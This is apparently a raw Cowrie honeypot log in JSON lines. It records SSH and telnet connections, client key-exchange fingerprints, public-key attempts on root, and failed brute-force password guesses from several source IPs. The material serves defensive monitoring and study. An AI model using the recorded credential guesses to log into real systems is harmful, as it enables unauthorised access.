{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.431387Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:78:84:81:35:ca:44:4d:ce:f6:3c:f3:b0:ad:b2:bf","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGTb37Bt+jOjdByWNWLlzA/MIWkZwnZdf4GP9fyQM6vd","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2f:78:84:81:35:ca:44:4d:ce:f6:3c:f3:b0:ad:b2:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.510613Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:78:84:81:35:ca:44:4d:ce:f6:3c:f3:b0:ad:b2:bf","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGTb37Bt+jOjdByWNWLlzA/MIWkZwnZdf4GP9fyQM6vd","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.515514Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:d8:27:76:2f:04:b6:25:a1:82:ac:ec:f5:98:66:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwEtgyIUPLimpGXKZTaHz3oK7naNQbgduAUSMPnAinY3SK+y8w/KveHYSgQg/ijvcD5FwQI8F5spyAB03Cb40pK592ApX5AD16tdmRaUcYNtfr2J0WY3FRQ84GvejzBWiI/LnYcJtHtDEZfMexx9yUM2erS4OgbW72T+uGdCW4hm9Jf7pWUkr4cuUj2VtHQZx5mDFWEro7rx9iSghnTfzELu8T9Nt9uvTGEQOX+6e94/9bgffKkRxSAu/92kj+wNeHOhfPjdDuLzb0ayasleAVkXHuvpqle9/0HYXBnfHTOdlI5cPoHWuQ6K9+bc9DhHtyaBcrHur195/dNvkmipTxGcLtTJOYosj8kw2U82pl6dY+2GrQBbi+k6rYD9LlpKW6+tu81408hL1t2BANPF/3dEAJQt3WeX1dgc6qpoZjMLdphdNR/s71JvBJrYbmoTzvafNzk+8AY0FnXqWIXrESb4/ZCnQC+qX7I2oHxl1YT4M1NKvVND1AORtYZ3pa67pj89tNnKD43vk3e24dw8DgagPmPn3brLgb4899isyb0qAzjceLFeX3V9T0Unb4VfDPyBdbgfnJyJ2BenCVoIOeQt2iSzEatxJWhlSRgiR45wOfhHTkR7nMamZ9JPjXAn2Gczjwz+DFoG/Xp4nI8LD0FTTnBo1y1/s+AeGQ+Q9llQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:d8:27:76:2f:04:b6:25:a1:82:ac:ec:f5:98:66:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.537465Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:d8:27:76:2f:04:b6:25:a1:82:ac:ec:f5:98:66:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwEtgyIUPLimpGXKZTaHz3oK7naNQbgduAUSMPnAinY3SK+y8w/KveHYSgQg/ijvcD5FwQI8F5spyAB03Cb40pK592ApX5AD16tdmRaUcYNtfr2J0WY3FRQ84GvejzBWiI/LnYcJtHtDEZfMexx9yUM2erS4OgbW72T+uGdCW4hm9Jf7pWUkr4cuUj2VtHQZx5mDFWEro7rx9iSghnTfzELu8T9Nt9uvTGEQOX+6e94/9bgffKkRxSAu/92kj+wNeHOhfPjdDuLzb0ayasleAVkXHuvpqle9/0HYXBnfHTOdlI5cPoHWuQ6K9+bc9DhHtyaBcrHur195/dNvkmipTxGcLtTJOYosj8kw2U82pl6dY+2GrQBbi+k6rYD9LlpKW6+tu81408hL1t2BANPF/3dEAJQt3WeX1dgc6qpoZjMLdphdNR/s71JvBJrYbmoTzvafNzk+8AY0FnXqWIXrESb4/ZCnQC+qX7I2oHxl1YT4M1NKvVND1AORtYZ3pa67pj89tNnKD43vk3e24dw8DgagPmPn3brLgb4899isyb0qAzjceLFeX3V9T0Unb4VfDPyBdbgfnJyJ2BenCVoIOeQt2iSzEatxJWhlSRgiR45wOfhHTkR7nMamZ9JPjXAn2Gczjwz+DFoG/Xp4nI8LD0FTTnBo1y1/s+AeGQ+Q9llQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.542308Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:c3:5c:db:e7:af:a3:46:3b:77:58:71:ff:be:f1:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcsbNitcNxiIdVL7HY6zq7QAwEGjoBU+fA36IWezClNeXgB/Su8j2IWH5fYoOcyQniEk6EB82JDuZ+IqcxplGnXuKnWLmDaLdftiR8zbDwWwZbsUimkQhDTzLNQrmiNYFcRh1exHzgNKfc7oMKJ7tDmMfBJp4Ym/yp9UUhAHkI5aCufZKBElLbsVTpHtb0Q4hBNLf1Ydc+w0C/MMhtCUQW2r1pJAg4/ncEKvof1cstu1LkQWdsxmOLGdQLsYEl2Ln4dMWr8dfzJ3LOxIXOB/KLewTgStT7SiJjlrIbXQf5Jb5ed9sMWzhzrpKZ2xe08X9KUNzI79puZ8x6ZzpZoBK1llKx0Y/ifT1eG0qbPp8G7sA8vzIwrLSZAMNBgrMInW8jsUFRndvi/cWPx360ILvi9bqeshYG3XngsBP0YUW3UuHAb9SvEHMXx9UDl5TM/u0bf2heG7JgCSGRyF9dvJIU3FX0oSfVQF43uJtZT3xczedQwi3a4wtd4xbqOqXbW0qpFhVi3ZRPEDtCxha9LedSosJP5RP8dY6hn8sHc2lwtlsjLE4UkAz1rfEXDkuFNZ4cvM0oxVKO1RUOM6QkHj+SsBpAB3/EkJ+V3fDAaxJPjfsF1OxP2UBT7DhjMhrZ9ibTXnMjbf6HVAQw4qiMAj+JCD4VUK4E1IdVVux+UjP37Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:c3:5c:db:e7:af:a3:46:3b:77:58:71:ff:be:f1:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.566183Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:c3:5c:db:e7:af:a3:46:3b:77:58:71:ff:be:f1:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcsbNitcNxiIdVL7HY6zq7QAwEGjoBU+fA36IWezClNeXgB/Su8j2IWH5fYoOcyQniEk6EB82JDuZ+IqcxplGnXuKnWLmDaLdftiR8zbDwWwZbsUimkQhDTzLNQrmiNYFcRh1exHzgNKfc7oMKJ7tDmMfBJp4Ym/yp9UUhAHkI5aCufZKBElLbsVTpHtb0Q4hBNLf1Ydc+w0C/MMhtCUQW2r1pJAg4/ncEKvof1cstu1LkQWdsxmOLGdQLsYEl2Ln4dMWr8dfzJ3LOxIXOB/KLewTgStT7SiJjlrIbXQf5Jb5ed9sMWzhzrpKZ2xe08X9KUNzI79puZ8x6ZzpZoBK1llKx0Y/ifT1eG0qbPp8G7sA8vzIwrLSZAMNBgrMInW8jsUFRndvi/cWPx360ILvi9bqeshYG3XngsBP0YUW3UuHAb9SvEHMXx9UDl5TM/u0bf2heG7JgCSGRyF9dvJIU3FX0oSfVQF43uJtZT3xczedQwi3a4wtd4xbqOqXbW0qpFhVi3ZRPEDtCxha9LedSosJP5RP8dY6hn8sHc2lwtlsjLE4UkAz1rfEXDkuFNZ4cvM0oxVKO1RUOM6QkHj+SsBpAB3/EkJ+V3fDAaxJPjfsF1OxP2UBT7DhjMhrZ9ibTXnMjbf6HVAQw4qiMAj+JCD4VUK4E1IdVVux+UjP37Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.570448Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:31:2a:18:6e:f5:24:22:99:0f:53:c6:f6:bc:60:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD4v+aoomAiJzOsYl8zfBigv6OpQED7QPmOG66Iz7QTSArOAv7DucjgYDWoG9BanAWNqv2w4RDZok6WCHesvv9ZbydkMSvwbW1SUMK/OgkE6rMg94ew7pvljaw7sGlYzb4SJ7cbWO3TiMtOD3K2SBKgkTWfNxp21/xjSwbEjH+Ma8e9sU8withbbYQ9F9aTAzexbypwBZU1Kui1tL1E8jHP2eRZTsNnP/HAH+euZv8WLHqoB2ZjMcw4E+wxsrldeYEJHCyhwQsk2t+dmqz9D8hDF5xOuj6pBb5JAHJpw/t7YQ24+UllG1mahTqMFpVn3aLC4un9P+z9AcaTfAfZ2jNzQ3lF5b/Ncxib3v64HkEGLBMYX3pBccHLy+BYqjQbRBB/6av9S93EUOZvK7r70Violm3fPgdxk+ATmy6T5jv9+PRSYSoAYMUpIYVIvnL/p6ahN4zK9h5lzEgikXn5I9lYKeeNZA8r7V0EhhgcueBfrGycyubdb40xXJS2cjos1U0ElAXChudZErcIDh0cm1X0FJIS0zN2lQUXUN6QRDhKEbMTmjyFRoTNrt7w7/1tZIPNTnMvgVjQwBDSzDvezO1fhWsQ/9q13JprOkCFsJx0OxWaNstcVpVkeTZQRIKeHKQRq/ER+LRkgwdE2VuU9pyC+zMm0fiR7p/1juDNbqy/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:31:2a:18:6e:f5:24:22:99:0f:53:c6:f6:bc:60:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.592296Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:31:2a:18:6e:f5:24:22:99:0f:53:c6:f6:bc:60:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD4v+aoomAiJzOsYl8zfBigv6OpQED7QPmOG66Iz7QTSArOAv7DucjgYDWoG9BanAWNqv2w4RDZok6WCHesvv9ZbydkMSvwbW1SUMK/OgkE6rMg94ew7pvljaw7sGlYzb4SJ7cbWO3TiMtOD3K2SBKgkTWfNxp21/xjSwbEjH+Ma8e9sU8withbbYQ9F9aTAzexbypwBZU1Kui1tL1E8jHP2eRZTsNnP/HAH+euZv8WLHqoB2ZjMcw4E+wxsrldeYEJHCyhwQsk2t+dmqz9D8hDF5xOuj6pBb5JAHJpw/t7YQ24+UllG1mahTqMFpVn3aLC4un9P+z9AcaTfAfZ2jNzQ3lF5b/Ncxib3v64HkEGLBMYX3pBccHLy+BYqjQbRBB/6av9S93EUOZvK7r70Violm3fPgdxk+ATmy6T5jv9+PRSYSoAYMUpIYVIvnL/p6ahN4zK9h5lzEgikXn5I9lYKeeNZA8r7V0EhhgcueBfrGycyubdb40xXJS2cjos1U0ElAXChudZErcIDh0cm1X0FJIS0zN2lQUXUN6QRDhKEbMTmjyFRoTNrt7w7/1tZIPNTnMvgVjQwBDSzDvezO1fhWsQ/9q13JprOkCFsJx0OxWaNstcVpVkeTZQRIKeHKQRq/ER+LRkgwdE2VuU9pyC+zMm0fiR7p/1juDNbqy/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.596872Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:0d:d3:af:39:af:0f:42:9b:3f:e2:01:93:23:34:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9aRPtOHpgT/fA+syNSfGCmyVlZ5mQEEpsmF23F6RDXzhKioY23fgDdDKnF0P76xPrv/CGdhtC7yR9PMmvbXfwgnnzh0GZc+hTC/oIAC+SQuC0rOXlUyukW54U/MeNDmj8rzR+s/9SVfCfynUKciH45Viz0q4TOzWbvXeRswzoSY/ztyUg3fpdfUrXsxvVJoUitoaH+xWeAihG4AIA1SeKc6I1AS+0FQ4lXG3NtdtEnQQdqW1jyJ37DuRMkUwNDuemCeyhdbSeah2o0oGPt/KPE29rvQRNAQzCp+XU1xaSkr2u4Nkrgk1ov7+3t5tMQ+cefn/Ny6hfQ9diYAUMx3RxC2UztvY/Ty9Bd6dMVXbhXaQD4Zg3uXB9Rc9N7wuOsMeXHoB1P1q75lHdAw0JZ+LAh2rF6MnHN9Zt+u9Ds/FL1wByB9u0q3QpOQtWkn7PfdpEOUcZ4I7X5q9F6CQaiqXs+r/2VndvMef/soXBne3J4zkEfWLFBUP/LzxBsyfa7w4RuJVrWf0NLUElXYn+kdgO/YCRJYi5nNi8JJoNdBwEjwYGsXItTwlE+uznFeTxEQuGdVZ2d26vojolTq4/ETj2lpO/O5Kbn9UxzZd2TXSVv1Ouh8/bFj79A3IXxI+v+us0oAI8gDzB76fmkVVtPlSEWn0EqQz7AkKxYe25+dDluw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:0d:d3:af:39:af:0f:42:9b:3f:e2:01:93:23:34:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.617951Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:0d:d3:af:39:af:0f:42:9b:3f:e2:01:93:23:34:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9aRPtOHpgT/fA+syNSfGCmyVlZ5mQEEpsmF23F6RDXzhKioY23fgDdDKnF0P76xPrv/CGdhtC7yR9PMmvbXfwgnnzh0GZc+hTC/oIAC+SQuC0rOXlUyukW54U/MeNDmj8rzR+s/9SVfCfynUKciH45Viz0q4TOzWbvXeRswzoSY/ztyUg3fpdfUrXsxvVJoUitoaH+xWeAihG4AIA1SeKc6I1AS+0FQ4lXG3NtdtEnQQdqW1jyJ37DuRMkUwNDuemCeyhdbSeah2o0oGPt/KPE29rvQRNAQzCp+XU1xaSkr2u4Nkrgk1ov7+3t5tMQ+cefn/Ny6hfQ9diYAUMx3RxC2UztvY/Ty9Bd6dMVXbhXaQD4Zg3uXB9Rc9N7wuOsMeXHoB1P1q75lHdAw0JZ+LAh2rF6MnHN9Zt+u9Ds/FL1wByB9u0q3QpOQtWkn7PfdpEOUcZ4I7X5q9F6CQaiqXs+r/2VndvMef/soXBne3J4zkEfWLFBUP/LzxBsyfa7w4RuJVrWf0NLUElXYn+kdgO/YCRJYi5nNi8JJoNdBwEjwYGsXItTwlE+uznFeTxEQuGdVZ2d26vojolTq4/ETj2lpO/O5Kbn9UxzZd2TXSVv1Ouh8/bFj79A3IXxI+v+us0oAI8gDzB76fmkVVtPlSEWn0EqQz7AkKxYe25+dDluw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.622661Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.649757Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00102210044861,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.863907Z","src_ip":"152.42.224.71","session":"75f6f8972628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36686,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb1cc2bd4558","protocol":"ssh","message":"New connection: 31.40.204.166:36686 (159.203.135.109:22) [session: fb1cc2bd4558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:14.321370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:14.327836Z","src_ip":"31.40.204.166","session":"fb1cc2bd4558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:14.494692Z","src_ip":"31.40.204.166","session":"fb1cc2bd4558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:15.011745Z","src_ip":"31.40.204.166","session":"fb1cc2bd4558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:16.195303Z","src_ip":"31.40.204.166","session":"fb1cc2bd4558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.685158729553223,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:16.509552Z","src_ip":"152.42.224.71","session":"05b86d9bae12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37602,"dst_ip":"10.17.0.5","dst_port":23,"session":"17a5b8d6a579","protocol":"telnet","message":"New connection: 152.42.224.71:37602 (10.17.0.5:23) [session: 17a5b8d6a579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:17.253876Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37614,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a5c977d8ea","protocol":"telnet","message":"New connection: 152.42.224.71:37614 (10.17.0.5:23) [session: a9a5c977d8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:19.986858Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":39648,"dst_ip":"159.203.135.109","dst_port":22,"session":"195672780a23","protocol":"ssh","message":"New connection: 109.237.96.109:39648 (159.203.135.109:22) [session: 195672780a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:21.063787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:21.072205Z","src_ip":"109.237.96.109","session":"195672780a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:21.168684Z","src_ip":"109.237.96.109","session":"195672780a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sz9kqcctwy","message":"login attempt [root/sz9kqcctwy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:21.445276Z","src_ip":"109.237.96.109","session":"195672780a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:22.538033Z","src_ip":"109.237.96.109","session":"195672780a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37618,"dst_ip":"10.17.0.5","dst_port":23,"session":"50dd7841b338","protocol":"telnet","message":"New connection: 152.42.224.71:37618 (10.17.0.5:23) [session: 50dd7841b338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:25.282441Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53300,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1448ed11f70","protocol":"ssh","message":"New connection: 31.40.204.166:53300 (159.203.135.109:22) [session: d1448ed11f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:26.026384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:26.031666Z","src_ip":"31.40.204.166","session":"d1448ed11f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"